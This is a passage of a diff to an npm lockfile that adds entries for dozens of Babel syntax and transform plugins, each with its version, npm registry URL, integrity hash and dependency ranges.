"https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.22.5.tgz", + "integrity": "sha512-rdV97N7KqsRzeNGoWUOK6yUsWarLjE5Su/Snk9IYPU9CwkWHs4t+rTGOvffTR8XGkJMTAdLfO0xVnXm8wugIJg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.22.5.tgz", + "integrity": "sha512-KwvoWDeNKPETmozyFE0P2rOLqh39EoQHNjqizrI5B8Vt0ZNS7M56s7dAiAqbYfiAYOuIzIh96z3iR2ktgu3tEg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.22.5.tgz", + "integrity": "sha512-1mS2o03i7t1c6VzH6fdQ3OA8tcEIxwG18zIPRp+UY1Ihv6W+XZzBCVxExF9upussPXJ0xE9XRHwMoNs1ep/nRQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz", + "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.22.10.tgz", + "integrity": "sha512-eueE8lvKVzq5wIObKK/7dvoeKJ+xc6TvRn6aysIjS6pSCeLy7S/eVi7pEQknZqyqvzaNKdDtem8nUNTBgDVR2g==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.9", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz", + "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==", + "dependencies": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz", + "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.10.tgz", + "integrity": "sha512-1+kVpGAOOI1Albt6Vse7c8pHzcZQdQKW+wJH+g8mCaszOdDVwRXa/slHPqIw+oJAJANTKDMuM2cBdV0Dg618Vg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.22.5.tgz", + "integrity": "sha512-nDkQ0NfkOhPTq8YCLiWNxp1+f9fCobEjCb0n8WdbNUBc4IB5V7P1QnX9IjpSoquKrXF5SKojHleVNs2vGeHCHQ==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.22.5.tgz", + "integrity": "sha512-SPToJ5eYZLxlnp1UzdARpOGeC2GbHvr9d/UV0EukuVx8atktg194oe+C5BqQ8jRTkgLRVOPYeXRSBg1IlMoVRA==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.6.tgz", + "integrity": "sha512-58EgM6nuPNG6Py4Z3zSuu0xWu2VfodiMi72Jt5Kj2FECmaYk1RrTXA45z6KBFsu9tRgwQDwIiY4FXTt+YsSFAQ==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz", + "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.10.tgz", + "integrity": "sha512-dPJrL0VOyxqLM9sritNbMSGx/teueHF/htMKrPT7DNxccXxRDPYqlgPFFdr8u+F+qUZOkZoXue/6rL5O5GduEw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz", + "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz", + "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.22.5.tgz", + "integrity": "sha512-0MC3ppTB1AMxd8fXjSrbPa7LT9hrImt+/fcj+Pg5YMD7UQyWp/02+JWpdnCymmsXwIx5Z+sYn1bwCn4ZJNvhqQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz", + "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==", + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.22.5.tgz", + "integrity": "sha512-X4hhm7FRnPgd4nDA4b/5V280xCx6oL7Oob5+9qVS5C13Zq4bh1qq7LU0GgRU6b5dBWBvhGaXYVB4AcN6+ol6vg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz", + "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz", + "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==", + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.22.5.tgz", + "integrity": "sha512-DuCRB7fu8MyTLbEQd1ew3R85nx/88yMoqo2uPSjevMj3yoN7CDM8jkgrY0wmVxfJZyJ/B9fE1iq7EQppWQmR5A==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz", + "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.22.5.tgz", + "integrity": "sha512-MQQOUW1KL8X0cDWfbwYP+TbVbZm16QmQXJQ+vndPtH/BoO0lOKpVoEDMI7+PskYxH+IiE0tS8xZye0qr1lGzSA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz", + "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz", + "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==", + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz", + "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==", + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz", + "integrity": "sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==", + "dependencies": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz", + "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==", + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz", + "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.22.5.tgz", + "integrity": "sha512-6CF8g6z1dNYZ/VXok5uYkkBBICHZPiGEl7oDnAx2Mt1hlHVHOSIKWJaXHjQJA5VB43KZnXZDIexMchY4y2PGdA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.22.5.tgz", + "integrity": "sha512-NbslED1/6M+sXiwwtcAB/nieypGw02Ejf4KtDeMkCEpP6gWFMX1wI9WKYua+4oBneCCEmulOkRpwywypVZzs/g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.22.5", + "resolved": 